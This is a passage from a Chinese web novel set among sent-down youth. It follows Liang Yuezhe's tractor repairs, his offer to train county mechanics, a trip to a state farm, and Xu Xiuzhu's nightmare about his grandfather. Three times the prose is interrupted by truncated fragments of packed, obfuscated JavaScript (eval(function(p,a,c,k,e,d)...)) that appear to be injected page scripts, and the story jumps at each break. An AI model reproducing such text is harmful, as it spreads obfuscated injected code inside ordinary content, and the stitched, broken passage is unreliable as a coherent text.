“还有齐武哥,他和桂花姐都结婚四年了,孩子都有两个了,也没有走。这说明什么?说明不是所有知青都会回城的!” 村长放下筷子,脸色严肃地说:“但这个梁知青一定会回城的。” 林月香见惯了她爸的黑脸,一点儿也不怕:“你怎么就知道他一定会回城啊?” “我就是知道,总之你离他远点儿,要是让我知道你跟他说上一句话,我就把他的工分扣完!”说完村长就扒拉完碗里那几口饭,到水缸边冲洗,然后拿回厨房去。 林月香揪着辫子,不满道:“你蛮不讲理!专横霸道!” “我专横霸道了,你最好记住我跟你说的,也跟你那些小姐妹们说清楚,别去招惹他!” 一个安分守己,心甘情愿留在村里的知青,怎么可能会偷溜进会议室,擅自拆卸拖拉机。 这梁知青明显是要回城里的,他心里有大抱负,村里的姑娘留不住他,何苦多生事端呢。 岂止是村里的姑娘,连知青所的女知青,在梁月泽这里也要铩羽而归。 “梁知青,你吃过早饭了吗?”钱玉珍笑意盈盈拦在梁月泽跟前。 梁月泽停下脚步,抬头看向眼前的人,有点眼熟,但不知道名字,好像是知青所的知青吧。 他随口应了一声“吃过了。” 钱玉珍笑容不变:“我叫钱玉珍,是海市人,听说你也是海市来的,我俩还真有缘分。” 等在旁边的许修竹看了梁月泽一眼,又看了一眼钱玉珍,脸上没什么表情,直接越过两人往前走去。 有了拖拉机耕作,今天分配的农活应该不会那么重了,他努力点应该可以自己挣10个工分。 梁月泽点了下头:“嗯,是挺有缘的,我先走了。”他没有再看钱玉珍一眼,三两步追上许修竹。 钱玉珍的笑容僵在了脸上,最后跺了下脚,瞪了梁月泽的背影一眼。 不解风情的男人! 这一幕刚好被覃晓燕三人撞见,覃晓燕给于芳江丽使了个眼神,两人都意会地笑了。 等钱玉珍也走了,她们才小声讨论起来。 于芳说:“我看她是没戏了,梁知青整日一副情窍未开的模样,能看到谁啊?” 覃晓燕赞同地点头:“没错,我看他眼里不是农活就是拖拉机,哪里还看得到人啊。” 她长得也不差,从小就被不少男孩子追捧,就这个梁月泽,看她跟看于芳江丽没什么两样。 这样的人,眼里压根就没男女之分。 江丽好奇道:“以梁知青这样有本事的人,以后也不知道会喜欢什么样儿的人?” 覃晓燕摇头:“反正不会喜欢我们这样的人。” 于芳点头: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“当然,我路上都跟你们说了多少遍了,是我们村的梁知青修好的!”书记语气里是满满的得意。 县里分配拖拉机的张主任满眼惊叹:“真想不到啊,你们村的知青,还有这本事,比省城来的维修员还厉害啊!” 书记自豪道:“这梁知青是从海市来的,那可是大城市,很多工厂的。” 吴石看了好久才舍得收回视线,遗憾道:“杨叔啊,我跟林叔关系这么好,他怎么不让我来帮忙打下手呢?”要是能见证这辆拖拉机是如何修好的,他的技术肯定能有大进步。 书记说:“他要是说一个知青能修好拖拉机,你也不会信啊。” 吴石想了一下,也是,估计他连工具都不会借。 张主任也很高兴,县里多了个人才,也多了一辆拖拉机,接下来分配拖拉机就没那么捉襟见肘了。 “这位梁知青叫什么名字?我要向县里好好表扬他!” 书记犹豫了一下:“梁知青是今年分配到村里的知青,但他爸听说是个资本家,不过他自小在他叔叔家长大,没沾染上资本家的思想。” 张主任好奇:“那他这一身本事从哪儿学来的?”今年分配下来的知青,年龄应该不大。 书记说:“他爸以前在什么国家留过学,带了一些书回来,他看那些书学会的。” 19.农场 “林叔,他真这么说?”吴石震惊地拍着村长的肩膀。 村长后退一步,呲牙揉了揉肩膀,吴石这小子力道也太大了吧。 他点头道:“真的,昨天他亲口在公社里说的,你杨叔也听见了。” 吴石看向了书记,书记肯定地点了点头:“梁知青是真的要把这辆拖拉机的各种维修说明教给你们,没蒙人。人家说了,这是在为党和国家做贡献,哪能藏着掖着!” 吴石激动道:“梁知青的思想觉悟真高啊!不愧是大城市来的知青,跟一般人就是不一样!” 张主任还在怔愣中,他在县里工作这么多年,从县里购入这几辆拖拉机,就一直在管着,什么分配、使用、维修、保养他全都要管。 因此他最清楚培养一个维修员有多困难,县里如今就两个维修员,花了大钱才从省城的农机厂学了点技术,结果也就学了点皮毛。 拖拉机但凡出现一些比较严重的问题,都要打申请让省城的维修员来维修。 这次在扶柳村损坏的拖拉机,连省城来的技术员都修不好,竟然被一个知青给修好了,已经足够他惊讶了。 没想到这个知青竟然连更深层的维修技术都愿意教给县里,足以让他震惊不已。 “张主任,你看梁知青既然有这个心,县里什么时候组织一次培训,让我们能够学习更高深的维修技术啊?”激动过后,吴石舔着脸凑到张主任旁边。 张主任这才回过神来,看向一脸自豪的村长,不确定地问了一句:“你刚才说真的?那梁知青真愿意教?” 村长瞥了他一眼,不屑道:“这还能有假?已经让人去叫梁知青了,他很快就到,你一会儿亲自问他。” 张主任猛地点头:“好好好,我一会儿自己问梁知青。” 梁月泽本来在另一块地翻土,听到村长找他后,很快就来了。 “这位是张主任,这是县里的维修员,叫吴石。”村长介绍道。 梁月泽很有礼貌地打招呼:“张主任,吴维修员。” “你就是梁知青吧?”张主任一脸热情,“果然年轻有为,不愧是大城市来的。” 梁月泽嘴角含笑:“张主任过誉了。” 寒暄了两句后,张主任开始进入正题:“听说你打算把维修技术教给县里的维修员,可有这回事儿?” 梁月泽点头:“确实有这个打算,这样拖拉机以后再出现什么问题,县里的维修员也可以及时维修,不耽误农活。” 张主任定定看了他一会儿,突然大笑起来:“好!梁知青思想觉悟如此之高,刚才老杨跟我说你是资本家出身,如今看着真不像啊。” 闻言梁月泽嘴角的笑意泛上了一丝苦涩,他叹了一口气:“杨书记倒也没有说错,我爸确实是个资本家,不过我自小跟着二叔二婶长大,二叔是个军人,我受他的爱国思想影响,觉得也应该为国家无私奉献才是。” 张主任点头赞扬:“你二叔确实有崇高的思想,你能跟着他生活,是你之幸啊!” 之后张主任又向梁月泽保证,一定会把他的事迹原原本本地告知县里,绝不会让他因为出身的问题,而忽视他这次的功劳。 梁月泽达成了自己的目的,自然是感谢连连。 “有张主任帮忙说话,我的出身应该不会有太大的问题。” 众人面前一派稳重的梁月泽,只有在许修竹面前才表露出他的好心情和得意。 许修竹正拿着小刀把一块南瓜削片到瓦锅里,闻言头也不抬:“按你的意思,张主任有意让你到县里当维修员?” 梁月泽正剥皮吃着陈叔家送来的龙眼,他家院子里长的,品质并不算好,核大肉薄,但果肉却很甜,不少村里的小孩都惦记着呢。 他吐出一颗果核:“是啊,我听他是有这个意思,不过我并不是很想去。” 许修竹诧异地抬头:“为什么?你不是想离开村里吗?” 梁月泽难得见许修竹表情幅度这么大,眼睛都睁大了一些,圆圆的竟有些可爱,他剥着龙眼的手下意识往他嘴边递。 “吃龙眼吗?” 许修竹垂下眼睑看向嘴边的龙眼,拿着龙眼的手还残留着一点点机油留下的灰渍,龙眼被剥开一半,上面是晶莹的果肉。 甜蜜的气息勾引着许修竹的味蕾,小时候和爷爷一起住的时候,家里条件还可以,他也因此吃过一些南方运到北城的水果,其中就有龙眼。 梁月泽见许修竹迟迟没有动作,这才反应过来,他的行为太过亲昵了,他们之间的关系,应该还不到能够互相喂食的地步。 他正要收回手,结果许修竹却突然低下头,把那颗龙眼衔走了。 温热的气息喷到手上,梁月泽感觉有一秒钟的心慌,收回的手不自觉地捻了捻。 他偏开头,掩饰地咳了一声:“去县里当一个普通的维修员,不如继续待在村里。” 在县里做维修员太没有挑战性了,白溪县里最重要的机械就是那几辆拖拉机,他这些日子已经把拖拉机的结构研究透了,当个普通维修员不能发挥出他的才能。 他有一身远超时代的知识,还是希望能有机会为国效力,让国家的机械研究不受其他国家掣肘。 以他现在的出身,是进不了研究所的,不过能进机械厂他也可以接受,没必要在维修员这个位置上蹉跎。 许修竹细细品味着嘴里的甜味,没舍得把果核吐出来,便含着果核说道:“那你是什么打算?” “等着呗!看看市里的机械厂招不招人吧。”梁月泽笑了一下。 许修竹“哦”了一声,转过去继续削南瓜,他手里还剩下一小块南瓜没削。 虽然许修竹没表露出来,但梁月泽隐约能感觉出来,他应该挺喜欢吃龙眼的。 他把手里那一把龙眼放到许修竹旁边:“这龙眼太甜了,我不太爱吃甜的,给你吃吧。” 许修竹把最后一块南瓜扔进锅里,然后拿起那把龙眼递了回去:“这是陈叔给你的。” 梁月泽没接:“我真不爱吃甜的,吃几颗尝尝味就行了,吃多了容易腻,你就帮我解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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书记笑了:“信不过你还能信谁?省城来的维修员都修不好的拖拉机,被你给修好了,就别在这里自谦了。” 梁月泽考虑了一下,觉得可以先去看看,万一能修好,正好可以增加他的竞争力。 “不过我现在没工具。” 书记拍了他肩膀一掌:“吴维修员会跟你一起去,他会把工具带上的,别磨叽了,快走吧。” 梁月泽这才带上自己的水壶,跟在书记身后,坐他的自行车去往农场。 农场距离扶柳村有很长一段路,就算是骑自行车也要骑将近三个小时,梁月泽的屁股都要颠坏了。 梁月泽是在干活中途被书记叫走的,许修竹一开始没多想,直到晚上收工还不见人回来,才疑惑地跑到公社去找人。 “什么?他去农场了?”许修竹一脸震惊。 自己心心念念想去的农场,他这么简单就能去了? 20.做梦 “许大夫又被拉去批斗了,他家大孙子是不是在家一天没吃东西了?” “你管这么多干嘛,我们现在自身都难保,哪里还管得了他一小孩,他亲爹都不管他。” “说起他亲爹,许大夫也真是倒霉,竟摊上这么个儿子,亲儿子举报亲爹,还真是‘大义灭亲’啊!” 许修竹又梦到了从前,爷爷被那些人给带走了,他一个人缩在院子里石榴树上,又饿又害怕,但他不敢下去,爷爷让他自己躲好。 隔壁那对教书的夫妻还在讨论着他们家的事情。 “也不知道什么时候能放回来,许大夫医术好,人也好,经常给大家免费看诊,没想到居然会被亲儿子给出卖了。” “估摸着也得三四天吧,小竹一个小孩在家,不得饿死啊。不行,等晚点我给他送两个馒头过去,可别把人饿坏了。” “行行行,你要送可以,等天黑了,从那个狗洞里塞过去,千万别让人发现了。” “好……” 那对夫妻的声音越来越远,直到再也听不见,许修竹梦里又响起了许天冬和王倩的声音。 “都怪你那死鬼老爹,搞什么不好,非要搞这种臭老九的行业,幸好你没跟他学中医,不然我指定登报跟你离婚!” “你别不识好歹,那是我老许家的祖业,当初你想进我们许家,老头子还不同意呢!” “祖业!祖业!还不是被你这个宝贝儿子给举报没了,现在倒是说祖业了,真是笑话!” “去去去,赶紧做饭去,要不是我举报了我爹,咱们能有现在的好日子?” “许修竹!死哪里去了?还不快点做饭去?想饿死我们啊!说起你爹我就来气,把老大养成这副德行,看着就让人生厌!” “那还不是你自己的选择,当初想进我老许家的门,硬把刚出生的儿子送给老头子。” “不是自己养大的,就是不亲,让他干点活儿都磨磨唧唧的。许修竹,你磨蹭什么呢,还不赶紧的,学得跟你爷爷一个德行!” “许修竹……” “许修竹……” 许天冬和王倩的一声声许修竹,叫得他心里发慌,一下子把他吓醒了。 许修竹猛地坐了起来,粗喘着气,一摸额头脸颊,一手的湿润。 他缓了一会儿,稍微平复了心情,天上的月亮还高悬着,许修竹下意识看向旁边,原本应该睡着一个人的地方,如今空无一人。 许修竹愣了一下,才反应过来今晚梁月泽没有回来,他留在了农场,晚饭都是他一个人吃的。 空旷的田野,青蛙叫声依旧,溪流声不断,可身边却少了一道熟悉的呼吸。 许修竹以为,那个人存不存在都无关紧要,对方去奔向更好的前程,他留在扶柳村,继续努力争当优秀知青,然后去见爷爷。 可这一刻,他莫名觉得有些孤寂。 他一个人惯了,难得有一个人的空间,他应该高兴才是,为什么这一刻却高兴不起来呢。 许修竹怔怔看着本该梁月泽睡觉的位置,过了很久才收回视线,重新躺下,可这一次他却再也睡不着了。 梁月泽是在第三天回来的,农场的人亲自送回来的,看着精神还不错。 “梁知青,听说你去农场了,农场是什么样的?” 农场的人把梁月泽送到公社就回去了,梁月泽背着水壶回牛棚,路上被正在田埂边休息的覃晓燕给叫住了。 梁月泽扫了一眼坐在覃晓燕旁边的许修竹,索性找了个地方坐下。 “感觉跟村里没什么两样,具体的也没怎么仔细看。” 于芳很好奇:“听说你是去维修农场的拖拉机,怎么样?能修好了吗?” 梁月泽拿过许修竹手边的大蒲扇,一边扇风一边说:“没有这么简单,农场的拖拉机,有几样零件坏了,得去市里的机械厂订做,等零件做好了,还要再去一次。” 正在闲聊的梁月泽没发现,许修竹的眼睛亮了一下。 覃晓燕一脸羡慕:“真厉害,有这一门技能,都不用下田干活就能挣到工分。” 梁月泽笑了一下,没有对此发表什么言论,免得引起众人的嫉妒。 出发去农场之前,书记承诺了,不管有没有把拖拉机修好,离村的这几天,每天都会给他记10个工分。 于芳问:“也就是说,农场的拖拉机你也能修好喽?” 梁月泽点头:“差不多吧,不出意外的话。” 于芳赞叹道:“我们要是有你这么聪明就好了,看看书就能学会,太厉害了。” 不等梁月泽谦虚两句,齐国伟就阴阳怪气道:“我们哪是不聪明啊,我们是没有一个资本家的爸,能给我们找来那么多书看。” 齐国伟简直要嫉妒疯了,原以为梁月泽这个资本家出身的人,肯定会是大家唾弃的对象,没想到一朝突变,他从资本家的儿子,变成了村里的功臣。 不光是知青所的女知青对他好感有加,连村里的姑娘都经常称赞,甚至是把梁月泽和许修竹赶出知青所的杨远山,都在知青所里表示了后悔和歉意。 这让在覃晓燕这里频频受挫的齐国伟怎么受得了! 要不是这两天梁月泽去了农场,他非得找点茬不可。现在人回来了,他就迫不及待要打压梁月泽。 覃晓燕和于芳她们脸色一冷,这人怎么这么讨人厌,不喜欢人家梁知青,就不能到一边去吗? 梁月泽笑了一下:“我爸对我确实不错,至于那些书,是寻常的机械类书籍,齐知青若是想看,我可以默写出来,就是不知道齐知青能不能看得懂了。” 齐国伟顿时脸色涨红,之前梁月泽维修拖拉机的手稿,被人传看过,上面一堆密密麻麻的符号,完全看不懂在写些什么。 真让他去看那些书,估计连字都不认识。 最后他只能“切”一声:“谁稀罕看那些书啊,资本家出版的书籍,让我看我都不稀罕。”说完就自己跑去干活了。 覃晓燕看着他的背影嫌恶道:“梁知青,你别理他,他就是嫉妒你了。” 于芳附 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他应该想到的,许修竹平时看着没什么表情,实际上也还是个十八岁的少年,害怕是正常的。 许修竹翻了翻锅里的茄子,加了点水进去,然后盖上盖子用小火闷着。 他转过头来,注视着梁月泽的眼睛:“你下次去农场,能不能把我带上,我自己住这里害怕。” 梁月泽想都没想就拒绝了:“等我下次再去农场,估计村里给我们建的泥房也好了,到时候搬到房子里,应该不会有事的。” 许修竹惊讶:“泥砖才刚打好,房子能起得这么快吗?” 梁月泽说:“损坏的零件大概要半个月才能做好,半个月够起一间小房子了。” 许修竹把头转回去,暗自咬了咬牙,第一次觉得有房子住也不是什么好事儿。 还有什么理由,能让梁月泽去农场的时候把他带上呢?